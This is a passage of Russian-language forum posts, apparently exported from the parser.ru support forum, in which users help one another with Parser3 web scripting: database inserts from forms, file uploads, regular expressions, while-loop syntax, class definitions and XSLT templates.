Класс берём [url=\"http://www.spearance.ru/parser3/pictures/archive/images.zip\"]тут[/url]."
"40719","http://www.parser.ru/forum/?id=40718"
"40720","Здравствуйте, у меня есть в базе данных таблица с выступлениями, которым (каждому) присвоена дата выступления. На html-странице я хочу выводить те, которые ещё не состоялись и те которые уже были, в разных местах и цветах. Но не это проблема. Я использую цикл if, который сравнивает текущую дату с датой выступления. Короче, проблема в том, что я не знаю, как после сравнения дат, вывести именно [b]те, которые больше[/b] в отдельном месте.\
Спасибо."
"40721","посмотрел SSCLI исходники,\
если во входной строке или в искомой строке не английские буквы, мы идём по медленному пути:\
[code]\
// \\sscli\\clr\\src\\classlibnative\\nls\\sortingtable.cpp\
int NativeCompareInfo::IndexOfString(...\
[/code]\
\
там какой-то редкостный по глубине бред с диакритическими весами и прочим на ~500 строк.\
\
насколько я ничего не понял, в некоторых культурах возможна неоднозначная запись одного и того же, в связи с этим страшные мучения.\
\
увы, нас посчитали недостойными быстрого поиска:\
[code]\
// \\sscli\\clr\\src\\classlibnative\\nls\\sortingtablefile.h\
\
//This is the list of English locales which we currently understand.  \
//We should only do fast comparisons in one of these locales.\
#define IS_FAST_COMPARE_LOCALE(loc) (((loc)==0x0409) /*USA*/     || ((loc)==0x0809) /*UK*/ ||\\\
                                     ((loc)==0x0C09) /*AUS*/     || ((loc)==0x1009) /*CANADA*/ ||\\\
                                     ((loc)==0x2809) /*Belize*/  || ((loc)==0x2409) /*Caribean*/ ||\\\
                                     ((loc)==0x1809) /*Ireland*/ || ((loc)==0x2009) /*Jamaica*/ ||\\\
                                     ((loc)==0x1409) /*NZ*/      || ((loc)==0x3409) /*Philippines*/ ||\\\
                                     ((loc)==0x2C09) /*Trinidad*/|| ((loc)==0x1c09) /*South Africa*/ ||\\\
                                     ((loc)==0x3009) /*Zimbabwe*/)\
[/code]\
\
можно попробовать так:\
[code]\
CultureInfo.CurrentCulture.CompareInfo.IndexOf(where, \"what\", CompareOptions.Ordinal);\
[/code]\
[quote]\
Ordinal\
Indicates that the string comparison must be done using the Unicode values of each character, which is a fast comparison but is culture-insensitive.\
[/quote]\
\
\
Parser3, понятное дело, в диакритических знаках не силён, и в нём работает всё существенно проще.\
хотя и не так просто, как в Parser2."
"40722","и почитайте книжку по SQL, вас интересует\
[code]\
select ... where ...\
[/code]\
\
пока книжку по SQL не почитаете, не спрашивайте о подобном."
"40723","[code]\
CultureInfo.InvariantCulture.CompareInfo.IndexOf( where, \"what\" )\
[/code]\
\
вероятно, делает то же самое, что предыщущий, только выглядит чуть изящнее."
"40724","Ссылка на доку по mysql есть в [url=\"http://www.parser.ru/links/\"]полезных ссылках[/url]"
"40726","Думаю на форуме по PHP вам дадут более развернутый ответ ;)"
"40727","Допустим имеется большой файл. Метров 10 к примеру. Как вы думаете, есть ли способ реализовать что-то типа progress-bar для отображения состояния загрузки. Чтобы показывал сколько от файла ушло и сколько ещё осталось. Мне что-то вообще ничего в голову не приходит кроме как запускать внешний (перловый например) скрипт, который будет сравнивать размер того что уже на сервере с заявленным в HTTP заголовке размером файла, но это только на уровне идеи, никакой конкретики. Может быть кто-то сталкивался с похожей задачей?"
"40728","асинхронно"
"40729","Суть проблемы такова. Есть форма для занесения новостей в БД\
[code]\
^if(def $form:date && def $form:title && def $form:body){\
   ^dbc{\
      ^void:sql{\
	  	INSERT\
		INTO\
			news_company\
         	(date, title, body)\
      	VALUES \
         	('$form:date', '$form:title', '$form:body')\
      }\
\
	}\
\
\
<form action=\"index.html\" method=\"get\" enctype=\"multipart/form-data\">\
#<input type=\"hidden\" name=\"save_edit_id\" value=\"$id\">\
\
<table width=\"80%\" align=\"center\" border=\"0\">\
<tr>\
	<td align=\"right\">Дата:</td>\
	\
	<td>\
		<table>\
			<tr>\
				<td>\
					<select name=\"d\">\
					^tab_d.menu{\
					<option value=\"$tab_d.day\">$tab_d.day</option>\
							}\
					</select>\
				</td>\
				<td>\
					<select name=\"m\">\
					^tab_m.menu{\
					<option value=\"$tab_m.id\">$tab_m.month</option>\
							}\
					</select>\
				</td>\
				<td>\
					<select name=\"y\">\
					^tab_y.menu{\
					<option value=\"$tab_y.year\">$tab_y.year</option>\
							}\
					</select>\
					<input type=\"hidden\" name=\"date\" value=\"${y}-${m}-${d}\">\
				</td>\
			</tr>\
		</table>\
	</td>\
</tr>\
\
\
\
<tr>\
	<td align=\"right\">Заголовок:</td>\
	<td><input type=\"Text\" name=\"$title\" size=\"60\"></td>\
</tr>\
<tr>\
	<td align=\"right\">Текст:</td>\
	<td><textarea cols=\"50\" name=\"$body\" rows=\"5\"></textarea></td>\
</tr>\
<tr>\
	<td></td>\
	<td><br><br><input type=\"submit\" value=\"Внести\" name=\"posted\">&nbsp^;&nbsp^;&nbsp^;<input type=\"reset\" value=\"Очистить\"></td>\
</tr>\
</table>\
</form>\
[/code]\
\
Но так как данные в форму будет заносить обыкновенный, не продвинутый пользователь, хотела упростить ввод даты. БД понимает только формат %Y-%m-%d, можно ошибиться. Тогда я сделала выпадающие меню с датами, но....как теперь свести воедино данные и сформировать праивльный формат даты для БД?\
\
Строка\
[code]\
<input type=\"hidden\" name=\"date\" value=\"${y}-${m}-${d}\">\
[/code]\
не работает\
\
Помогите, а?"
"40730","<input type=\"hidden\" name=\"date\" value=\"${form:y}-${form:m}-${form:d}\">"
"40731",":) Пыталась, но эти значения ${form:y}-${form:m}-${form:d} появляются после нажатия кнопки \"Отправить\", поэтому так не работает."
"40732","Создаете объект date из полученных $form:y, d и m, и после выводите дату в SQL-формате (^date.sql-string[]).\
\
Конечно, $form:y и пр. будут доступны (парсеру) только после нажатия кнопки [i]Отправить[/i], но ведь и добавление в БД происходит после ;-)"
"40734","если я не ошибаюсь sql-string[] преобразует дату к виду ГГГГ-ММ-ДД ЧЧ:ММ:СС... т.е. для поля datetime, тут же, вроде бы date... это знает только автор поста :)"
"40735","Я проверил вариант - смешанный текст (латиница + кириллица) и шаблон латиницей - строковый вариант быстрее чем регулярное выражение раз в 8-10 на файле размером около мегабайта.\
\
Шаблон кириллицей нельзя проверить тестом в такой формулировке, т.к. нет преобразования входного параметра командной строки в ASCII. Позже проверю и этот вариант."
"40737","Правильно ли я понимаю, что Вы имели в виду это:\
\
[code]\
^if(def $form:date && def $form:title && def $form:body){\
   ^dbc{\
      ^void:sql{\
	  	INSERT\
		INTO\
			news_company\
         	(date, title, body)\
      	VALUES \
         	('^date.sql-string[]', '$form:title', '$form:body')\
      }\
\
	}\
\
$date[{$form:y}-{$form:m}-{$form:d}}]\
\
<form action=\"index.html\" method=\"get\" enctype=\"multipart/form-data\">\
<table width=\"80%\" align=\"center\" border=\"0\">\
<tr>\
	<td align=\"right\">Дата:</td>\
	\
	<td>\
		<table>\
			<tr>\
				<td>\
					<select name=\"d\">\
					^tab_d.menu{\
					<option value=\"$tab_d.day\">$tab_d.day</option>\
							}\
					</select>\
				</td>\
				<td>\
					<select name=\"m\">\
					^tab_m.menu{\
					<option value=\"$tab_m.id\">$tab_m.month</option>\
							}\
					</select>\
				</td>\
				<td>\
					<select name=\"y\">\
					^tab_y.menu{\
					<option value=\"$tab_y.year\">$tab_y.year</option>\
							}\
					</select>\
									</td>\
			</tr>\
		</table>\
	</td>\
</tr>\
\
\
\
<tr>\
	<td align=\"right\">Заголовок:</td>\
	<td><input type=\"Text\" name=\"$title\" size=\"60\"></td>\
</tr>\
<tr>\
	<td align=\"right\">Текст:</td>\
	<td><textarea cols=\"50\" name=\"$body\" rows=\"5\"></textarea></td>\
</tr>\
<tr>\
	<td></td>\
	<td><br><br><input type=\"submit\" value=\"Внести\" name=\"posted\">&nbsp^;&nbsp^;&nbsp^;<input type=\"reset\" value=\"Очистить\"></td>\
</tr>\
</table>\
</form>\
\
[/code]"
"40738","[code]\
$date[{$form:y}-{$form:m}-{$form:d}}]\
[/code]\
\
Должна находится ДО ^if(..."
"40741","Имелся ввиду объект класса date:\
[code]\
^if(def $form:date && def $form:title && def $form:body){\
   [b]$date[^date::create($form:y;$form:m;$form:d)][/b]\
   ^dbc{\
      ^void:sql{\
  INSERT\
INTO\
news_company\
         (date, title, body)\
      VALUES \
         ('^date.sql-string[]', '$form:title', '$form:body')\
      }\
\
}\
[/code]"
"40742","В вашем коде написано\
[code]^if(def [b]$form:date[/b]...[/code]\
\
В тоже время в представленной форме нет такого параметра. Вам надо будет проверить перед созданием даты наличие $form:y, d и m."
"40743","Тем не менее, эта конструкция тоже не желает работать :(\
Я специально выставила метод передачи GET. y, m, d - содержат значения.\
[code]\
^if(def $form:title && def $form:body){\
$date[^date::create($form:y;$form:m;$form:d)]\
   ^dbc{\
      ^void:sql{\
	  	INSERT\
		INTO\
			news_company\
         	(date, title, body)\
      	VALUES \
         	('^date.sql-string[]', '$form:title', '$form:body')\
      }\
}\
\
\
<form action=\"index.html\" method=\"get\" enctype=\"multipart/form-data\">\
<table width=\"80%\" align=\"center\" border=\"0\">\
<tr>\
	<td align=\"right\">Дата:</td>\
	\
	<td>\
		<table>\
			<tr>\
				<td>\
					<select name=\"d\">\
					^tab_d.menu{\
					<option value=\"$tab_d.day\">$tab_d.day</option>\
							}\
					</select>\
				</td>\
				<td>\
					<select name=\"m\">\
					^tab_m.menu{\
					<option value=\"$tab_m.id\">$tab_m.month</option>\
							}\
					</select>\
				</td>\
				<td>\
					<select name=\"y\">\
					^tab_y.menu{\
					<option value=\"$tab_y.year\">$tab_y.year</option>\
							}\
					</select>\
\
				</td>\
			</tr>\
		</table>\
	</td>\
</tr>\
<tr>\
	<td align=\"right\">Заголовок:</td>\
	<td><input type=\"Text\" name=\"$title\" size=\"60\"></td>\
</tr>\
<tr>\
	<td align=\"right\">Текст:</td>\
	<td><textarea cols=\"50\" name=\"$body\" rows=\"5\"></textarea></td>\
</tr>\
<tr>\
	<td></td>\
	<td><br><br><input type=\"submit\" value=\"Внести\" name=\"posted\">&nbsp^;&nbsp^;&nbsp^;<input type=\"reset\" value=\"Очистить\"></td>\
</tr>\
</table>\
</form>\
[/code]"
"40744","Какую ошибку выдает?\
Что пишет в лог?"
"40745","Проверьте скобки: у вас отсутствует закрывающая скобка ^if(def){ ... [b]}[/b]\
\
Выведите ^date.sql-string[] на страницу, посмотрите что возвращает."
"40746","Я же весь файл копировала, не заносило в БД из-за моей ошибки, но в совершенно другом куске кода.\
\
Спасибо ОГРОМНОЕ за помощь! :)"
"40747","в метод ^image.font[] добавить возможность передачи параметром не только имени файла, но и обьекта класса image:\
[code]^картинка.font[набор_букв;$обьект_класса_image](дополнительные_опции)[/code]\
В этом случае получится не только заменить цвет шрифта с помощью .replace(), но и реализовать средствами Парсера простейший антиалиасинг (resize)."
"40748","Хотела прикрутить к форме приаттачивание файла, который будет сохраняться под своим же именем, но так не работает.... \
\
[code]\
<form action=\"index.html\" method=\"post\" enctype=\"multipart/form-data\">\
<tr>\
	<td align=\"right\">Прикрепить файл:</td>\
	<td><input type=\"File\" name=\"upload\"></td>\
</tr>\
<tr>\
	<td></td>\
	<td><br><br><input type=\"submit\" value=\"Отправить\" name=\"posted</td>\
</tr>\
</table>\
</form>\
\
\
^if(def $form:upload){\
	^form:upload.save[binary;/document/download/^file:justname[$form:upload].^file:justext[$form:upload]]\
}\
[/code]\
\
Пишет 'binary' unknown mode, must be 'append'"
"40749","[code]^form:upload.save[binary;$form:upload.name][/code]"
"40750","выдает \
'name' string method not found"
"40751","С именами проверьте чтобы правильно было всё."
"40752","в каком смысле с именами? именами чего?"
"40754","Это ничего не изменило. Выдает 'justname' is 'file', it has no string representation"
"40755","вот тут подумал - получается криво и не в духе, а криво можно и сеичас, без добавления новых возможностей..."
"40756","и не пора ли доку почитать?"
"40757","а у меня это же работает:\
[code]\
<form action=\"index.html\" method=\"post\" enctype=\"multipart/form-data\">\
<table>\
<tr>\
	<td align=\"right\">Прикрепить файл:</td>\
	<td><input type=\"File\" name=\"upload\"></td>\
</tr>\
<tr><td><input type=\"submit\" value=\"Отправить\" name=\"posted\"</td></tr>\
</table>\
</form>\
^if(def $form:upload){\
^form:upload.save[binary;/document/download/^file:basename[$form:upload.name]]\
}[/code]\
странно не правда-ли? ;-)"
"40758","[code]\
^if(^file:basename[$form:upload.name] eq $form:upload.name){\
	$result[масло масляное]\
}\
[/code]"
"40761","http://www.mandarinstudia.ru/harry/potter/and/the/chamber/of/secrets/\
http://www.mandarinstudia.ru/ru/74/0/14232/"
"40765","ПХП там, вроде-бы. По крайней мере куку ставит с именем PHPSESSID\
Там как-то интересно адресация сделана. Например  - http://www.mandarinstudia.ru/ru/60//12955/0////"
"40767","тексовый файл, таблица из двух столбцов, 3683 строки, 48 Кб.\
\
[code]$loaded_table[^table::load[/cache/tree_cache.cache]][/code]\
Отъедает 380 Кb/368 блоков\
[code]$loaded_table[^file::load[text;/cache/tree_cache.cache]][/code]\
Отъедает 100 Кb/104 блоков\
\
Это нормально?"
"40768","Вопрос такой:\
При попытке удаленного подключения к MySQL базе на хостинге из Delphi выдаёт ошибку, что нет прав. Можно это как-то обойти или стоит сделать скрипт на парсере, чтобы он обрабатывал удаленные запросы и возвращал XML?"
"40770","В одном случае вы закачиваете файл в другом таблицу,\
файл != таблица"
"40771","[code]/_test.html: '/cgi-bin/auto.p' read failed: No such file or directory (2), actual filename '/cgi-bin/auto.p' [file.missing][/code]\
По английски понимаю и знаю, что это значит, но вот в чем дело понять не могу... Может кто подскажет?"
"40772","Большинство хостеров (в целях безопасности) не дают удаленный доступ к БД.\
\
P.S. Если будете писать скрипт, то я думаю стоит обратить внимание на существующие стандарты (например XML-RPC)."
"40773","'/cgi-bin/auto.p' - существует ли этот файл?"
"40775","Делаю так:\
\
[code]\
# загружаю файл\
$file[^file::load[a.txt]]\
# задаю переменную\
$text[$file.text]\
# преобразовую под js\
$text[^taint[js][$text]]\
[/code]\
\
Теперь осталось текст вытянуть в одну строку. Чем лучше повырезать перенос строки?\
\
Да что же это такое?! Как только пишу на форум, меня сразу же осеняет! Просто добавить:\
\
[code]$text[^text.match[\\r][g]{}][/code]\
\
Спасибо за внимание."
"40777","не понимаю [\\^[[^^\\^]]+\\^]] и вообще где нибудь есть объснение конструкции match а то какие то ?.\\]^+ непонятно чето. Заранее спасибо."
"40778","Да, существует. И вообще, извините за беспокойство, почему-то после ребута системы все заработало=}"
"40781","Но в документации по парсеру тоже есть: \
[url=\"http://www.parser.ru/docs/lang/?app4.htm\"]http://www.parser.ru/docs/lang/?app4.htm[/url]\
\
Это чисто Perl'овые регулярные выражения. Если хочешь их изучить советую преобрести книжку:\
Название: Энциклопедия Perl - Спб.:Питер, 2002, - 567 с.\
Авторы: Владимир Водолазкий, Виктор Семериков.\
Если ты живешь в Москве, то можешь купить ее в магазине Молодая Гвардия на ст.м. Полянка.\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40782","В документации описаны все функции и методы языка.\
По вопросам алгоритмов задавай вопросы в форуме.\
Если интересно, я выкладывал класс интернет-магазина по адресу: \
[url=\"http://www.parser.ru/forum/?id=40387\"]http://www.parser.ru/forum/?id=40387[/url]\
\
Почитай форум подряд, там мого интересного. Или попроси выложить что-нибудь. Здесь у все есть свои сайты и свои алогритмы. Кто-то наверняка поделится.\
Так же читай раздел примеров.\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40783","По сути дела и файл и таблица - один и тот же поток данных.\
\
Просто есть предположение, что для таблицы при загрузке Парсер строит в памяти сложные хэши (8x размера!) -> можно безбоязненно пользоваться ^table.hash[] и забыть про табличные select и locate.\
Что в током случае строится для обычного файла (2x размера!) я не понимаю."
"40784","Спасибо приятно когда отвечают на твои вопросы. Я просто хотел спросить, разбирался с новостным разделом для чайников там много не понятно в том числе эти Мишины sql классы может лучше пробовать делать новости по аналогии с документацией как считаешь не сложно для новичка разобраться в этом Мишином примере?"
"40785","Честно говоря я всегда ненавидел использовать чужие классы, нет у меня к ним доверия(Делаю все сам).\
Может это конечно не прогрессивно и глупо, и именно по этому я не стал использовать Perl, в нем фактически только чужие классы.\
В принципе я не программист, по этому мне стыдиться нечего.\
\
Что касается Мишиного класса, сказать ничего не могу и не в праве судить.\
Скажу одно, я бы сам написал.\
Начни по проще, скажем на главной странице сделай ссылки на новости, а с переходом по ссылке передавать параметр новости, и загружать ее содержимое.\
И помни, можно чему-то научиться только когда сам делаещь, а не копируешь чужой код.\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40786","Просто для того чтобы развиваться в парсере нужно от чего то отталкиваться от каких то примеров вот поэтому то и хотелось что-нить по более чем документация..."
"40787","[b]1. Придумай себе цель[/b] - То, что ты хочешь разработать.\
[b]2. Разработай алгоритмы взаимодействия[/b] - Я делаю графические эскизы сначала на бумаге(конечно если проект сложный).\
[b]3. Ищи как собрать все воедино по кусочкам[/b] - В частности из документации или задавая вопросы на форуме.\
[b]4. Что-то не получается, ищи замену[/b] - оду задачу можно решить десятком способов.\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40789","«Регулярные выражения»\
Автор: Дж. Фридл\
http://www.books.ru/shop/books/82357\
\
[color=\"999999\"]ПостСкриптум[/color]\
[color=\"999999\"]Не путайте человека. Перл-то в целом ему зачем для изучения регулярок?..[/color]"
"40790","Если внутрь [color] поместить несколько обзацев, то они съедаются и выводятся сплошным текстом."
"40791","Вот здесь: http://www.parser.ru/forum/?id=40382 читаем:\
[quot]\
Программист я как уже 5 лет.\
WEB-программист 2 года.\
[/quot]\
\
А чуть позже http://www.parser.ru/forum/?id=40785 еще читаем:\
\
[quot]\
В принципе я не программист, по этому мне стыдиться нечего.\
[/quot]"
"40792","while. Цикл с условием\
http://www.parser.ru/docs/lang/opwhile.htm\
\
Предлагаю добавить возможность задания разделителя:\
[code]\
^while([i]условие[/i]){[i]тело[/i]}\
^while([i]условие[/i]){[i]тело[/i]}{[i]разделитель[/i]}\
[/code]\
\
Пример использования:\
[code]\
$i(5)\
^while[$i]{\
	^$i($i)\
	<br>\
}{\
	^i.dec[]\
}\
[/code]\
\
Было бы еще здорово, если вынесте <br>... Но ее получается некуда выносить, потому что совмещать код-разделитель и строковой — никак не получится. Вернее получится, но только если вот так:\
\
[code]\
$i(5)\
^while[$i]{\
	^$i($i)\
}{\
	<br>\
	^i.dec[]\
}\
[/code]\
\
Мелочь, а приятно ;)\
Или я не прав?"
"40795","Коль народ напишет [color=\"#xxxxxx\"], то не трудно будет каждый обзац из (допустим) двух поместить в такой контейнер ;)"
"40796","Постоянно при использовании цикла while внутри этого цикла происходят какие-то «ключевые» изменения, нужные для того чтобы цикл не замкнулся. Логично было бы эти изменения вынести в кодовый разделитель.\
\
И в духе Парсера бы было, имхо :)"
"40798","Вообще, насколько я понимаю, сделать аналог разделителей метода table.menu для while не то что нетривиально, но и вряд ли возможно. Откуда можно знать, что сейчас (именно сейчас) [b]предпоследняя итерация[/b]? Ведь именно после нее, по логике других методов Парсера, должен в [b]последний раз[/b] выполниться код-разделитель.\
\
В таблице — известное парсеру число строк и известный ему же номер активный строки. Вот для ^for, видимо, по этой причине есть разделитель — там предел верхний задан. Здесь же выбор условия выхода целиком в рамках фантазии автора: сравнение с текущим временем, сравнение каких-то числовых элементов и т. д."
"40799","Нет, все гораздо проще. Нам не нужно знать предпоследняя нтерация или нет. Это абсолютно не важно! Возмьмем пример:\
\
[code]\
$i(5)\
# В корневом посте — ошибка, я использовал [] вместо ()\
^while($i){\
	^$i($i)\
	<br>\
}{\
	^i.dec[]\
}\
[/code]\
\
Когда $i будет равна 1 — мы ее уменьшим и если проверка условия завершится удачей, то мы ее выведем, снова уменьшим. Теперь она равна нулю. Получаем false. Все. Цикл завершен :)"
"40800","[i]Математика - у большенства людей не специализация, но изучают матиматику с первого класса. Можно сказать так, я занимаюсь математикой 15 лет(я умножаю, складываю, делю, произвожу сложные вычесленния, применяю на практике), НО Я НЕ МАТЕМАТИК![/i]\
(P.S. Да, и на будущее, здесь 15 лет - это условное сравнение.)\
\
Не программист в смысле не специальность, не работа. Это развлечение, хобби.\
По образованию я маркетолог, экономист.\
Занимаюсь предпринемательством.\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40801","Зачем нам знать, \"что сейчас (именно сейчас) предпоследняя итерация\"? И что, \"именно после нее, по логике других методов Парсера, должен в последний раз выполниться код-разделитель\"?\
Нам нужно знать, когда (именно когда) [b]последняя итерация[/b] и станет понятно что сейчас (именно ;-)) код-разделитель делать [b]не надо[/b]..."
"40802","т.к. здесь 4 раза экранируются спец. символы парсера. \
На перле было бы  \\[[^\\]]+\\] (могу немного заблуждаться) \
\
И если вы не понимаете (к автору) значение спец. символов парсера, то и регулярные выражения стоит отложить...\
\
P.S. примерная расшифровка вырожения: символ [, все, что угодно, кроме ], символ ]"
"40803","вам не лень каждый раз вставлять в форум подпись? :) \
или вы это средствами парсера делаете? (с)"
"40805","А не сделали по причине того, что условием может быть не элементарное [быстрое] сравнение двух чисел, а достаточно сложная конструкция, например string.match или какой-нибудь пользовательский метод, обращающийся к БД. Если для вас это не критично, то можете пользоваться приведенным кодом."
"40806","а почему нельзя в нужном while писАть\
[code]\
^if($cond){$sep}\
[/code]\
? зачем лишинй метод?"
"40808","[code]@while_with_sep[cond;code;sep]\
  ^while($cond){\
     $code\
     ^if($cond){$sep}\
  }\
[/code]"
"40809","но, предполагаю, что этот метод никогда не пригодится ( \
имхо, дублирования стандартных конструкций (for, while, if) с дополнительным функционалом только мешают и вводят в заблуждение, т.е. в принципе понятно, что они делают, но путаницы от этого меньше не становится... "
"40810","Парсер рулит!!!!!\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40811","напрягает"
"40814","наверняка tainting отжирает n-ное количество, ведь для каждого символа нужно где-то хранить и \"цвет\" в который он \"окрашен\"..."
"40815","Вот, спасибо, теперь я понял :) Просто мне не доводилось еще пользоваться сложным сравнением в цикле while, поэтому я и не сообразил сразу.\
\
А на счет своего метода: мне ничего не мешает. Мне это вообще не критично и совсем не трудно писать ^i.dec[] прямо в теле цикла, просто подумалось вдруг, что в духе Парсера было бы отделить код от разделителя...\
\
:)"
"40816","http://www.parser.ru/docs/\
\
Есть вариант в pdf, который можно распечатать на принтере и радоваться жизни, почитывая перед сном ;)"
"40818","http://www.parser.ru/docs/ ссылка внизу\
\
tainting:\
* для строки, окрашенной в один цвет, не используется вообще нисколько дополнительной памяти;\
* для строки, окрашенной в 2-3 цвета используется 4 байта.\
\
все измерения надо делать после memory:compact"
"40819","поскольку parser парные скобки вполне допускает и экранировать (^[) их не нужно.\
\
экранировать необходимо в случаях, когда получается такое:\
[code]\
#неправильно\
^method[zzz]]\
#правильно\
^method[zzz^]]\
#тоже правильно без всяких ^\
^method[aaa[bbb]ccc]\
[/code]"
"40820","Еще вопросы:\
Возникла необходимость в двух обработчиках первый строит XML, затем к нему применяется стиль, затем второй обработчик (типограф, установка размеров картинок и т. д.), может есть другой вариант, а то приходится хранить для объекта два обработчика?\
И еще что подразумевается под компиляцией обработчика - сохранение его из базы в файл и затем вызов уже из файла?"
"40821","а для таблиц?"
"40822","при создании в одном файле нескольких классов происходит непонятная штука, если определить в одном из классов базовый класс, то парсер ругается \"class already have a name\". Но причем здесь имя класса и задание базового? \
\
[code]\
# test1.p\
# работает\
@CLASS\
A\
\
@init[]\
$self.classname[A]\
\
@CLASS\
B\
\
@init[]\
$self.classname[B]\
\
@CLASS\
C\
\
@init[]\
$self.classname[C]\
[/code]\
\
[code]\
# test2.p\
# не работает\
@CLASS\
A\
\
@init[]\
$self.classname[A]\
\
@CLASS\
B\
\
@BASE\
A\
\
@init[]\
$self.classname[B]\
\
@CLASS\
C\
\
@init[]\
$self.classname[C]\
[/code]\
\
Если класса C нет, а базовым классом B объявлен A, то ошибки нет...\
\
я что-то не понимаю или действительно баг?\
\
PS в принципе проблема решается просто (разделением на файлы). Но хотелось бы знать все же... или \"это не в духе парсера\"? :)"
"40823","А зачем подобное нужно?\
Класс на то и класс, чтобы его выделить..."
"40825","1. У меня всё то, что вы описали (за исключением типографики!) происходит в самом движке, тоесть в данном случае обработчик вообще не нужен. В моей реализации (не означает что это правильно:) обработчик страницы нужен только когда нужны какие- либо дополнительные данные (авторизации или когда навигация нафиг не нужна например). \
Размер картинок и пр. происходит до применения XSL шаблона. Типографика у меня лично сделана в админке и базе лежит уже оттипографированный текст.\
\
2. http://www.parser.ru/forum/?id=27183\
\
P.S. В базе никакой код НЕ ЛЕЖИТ там есть лишь данные о нём (имя файла на диске)."
"40826","...\
http://www.parser.ru/forum/?id=27183\
\
т.е. код из файла process-ится лишь один раз вне зависимости от того сколько раз он должен вызываться. один раз отпроцессился (вкомпилился как метод в класс) и затем лишь ^вызывается[] при необходимости."
"40827","с постобработчиком решил проблему так:\
у каждого xslt-шаблона поставил параметры: типографить, проверять картинки файлы и пр. мелочи. эти методы вызываются по мере надобности.\
\
- у меня нет обработчика страницы есть обработчики блоков, мне кажется так быстрее?\
\
- зачем в базе хранить типограф. текст? как его затем править (скажем в каталоге) какой-нибудь секретарше она же испугается увидив &nbsp; в следующий раз."
"40828","Есть скрипт такой\
@bodyX[]\
$file[^file::cgi[/cgi-bin/status_checker.cgi;$.QUERY_STRING[code=^taint[555]&phone_connect=^taint[999-8888]&id=^taint[777]]]]\
\
который вызывает перловый скрипт - задача этого скрипта пока взять и записать в лог переданные ему параметры.\
\
Если просто набрать в адресной строке урл этого скрипта, то всё срабатывает, перловый скрипт вызывается, парметры уходят, там они принимаются, и записываются в нужном формате в лог.\
\
Но если вызвать парсерный скрипт из формы через пост, то в перловый скрипт параметры $.QUERY_STRING[code=^taint[555]&phone_connect=^taint[999-8888]&id=^taint[777]] не желают приходить :(((\
\
КАК побороть эту проблему?"
"40829","[quot]- у меня нет обработчика страницы есть обработчики блоков, мне кажется так быстрее?[/quot]\
Для большинства задач мне тоже достаточно обработчиков блоков.\
Но есть ситуации когда нужно что-то добавить в xml объекта.\
Ну например таже авторизация... выходит надо создать блок назначить ему обработчик который будет это делать и потом прикреплять блок ко всем страницам где нужна авторизация?\
На мой взгляд логичней и проще для этого сделать обработчик страницы. То же самое и с типографикой.\
\
[quot]- зачем в базе хранить типограф. текст? как его затем править (скажем в каталоге) какой-нибудь секретарше она же испугается увидив &nbsp; в следующий раз.[/quot]\
У меня не весь текст типографирован в базе, но по большинству я стараюсь типографить в админе, так как процесс это не быстрый.\
А секретарша не увидит &nbsp; потому что будет править это в редакторе.\
\
P.S. Вообще я сам ещё нахожусь в стадии написания/переделывания этого движка, поэтому что-то может быть далеко не оптимально. \
Более толковые советы по этому вопросу может подсказать Misha v.3."
"40830","$file[^file::cgi[/cgi-bin/status_checker.cgi;$.stdin[code=^taint[555]&phone_connect=^taint[999-8888]&id=^taint[777]]]]"
"40831","Я только начал поэтому вопрос такой:\
\
по примеру 6 урока я хочу сделать вот так:\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<article>\
    <title>Заголовок</title>\
    <body>\
        <para>\
        Текст\
        <btext>Жирный текст</btext>\
        снова текст\
        </para>\
        <para>Текст далее</para>\
    </body>\
    <links>\
        <link href=\"http://www.parser.ru/docs/lang/xdocclass.htm\"> xdoc</link>\
        <link href=\"http://www.parser.ru/docs/lang/xnodeclass.htm\"> xnode</link>\
    </links>\
</article>\
[/code]\
\
Мне непонятно как заствить обрабатывать тег <btext>. Написал вот что:\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
<xsl:template match=\"article\">\
\
    <p><xsl:value-of select=\"title\" /></p>\
    <xsl:apply-templates select=\"body | links\" />\
\
</xsl:template>\
\
<xsl:template match=\"body\">\
\
    <xsl:apply-templates select=\"para\" />\
\
</xsl:template>\
\
<xsl:template match=\"para\">\
\
    <xsl:for-each select=\"bold\">\
            <b><xsl:apply-templates select=\".\" /></b>\
    </xsl:for-each>\
\
</xsl:template>\
\
<xsl:template match=\"links\">\
    <ul>\
        <xsl:for-each select=\"link\">\
            <li><xsl:apply-templates select=\".\" /></li>\
        </xsl:for-each>\
    </ul>\
</xsl:template>\
\
<xsl:template match=\"para\">\
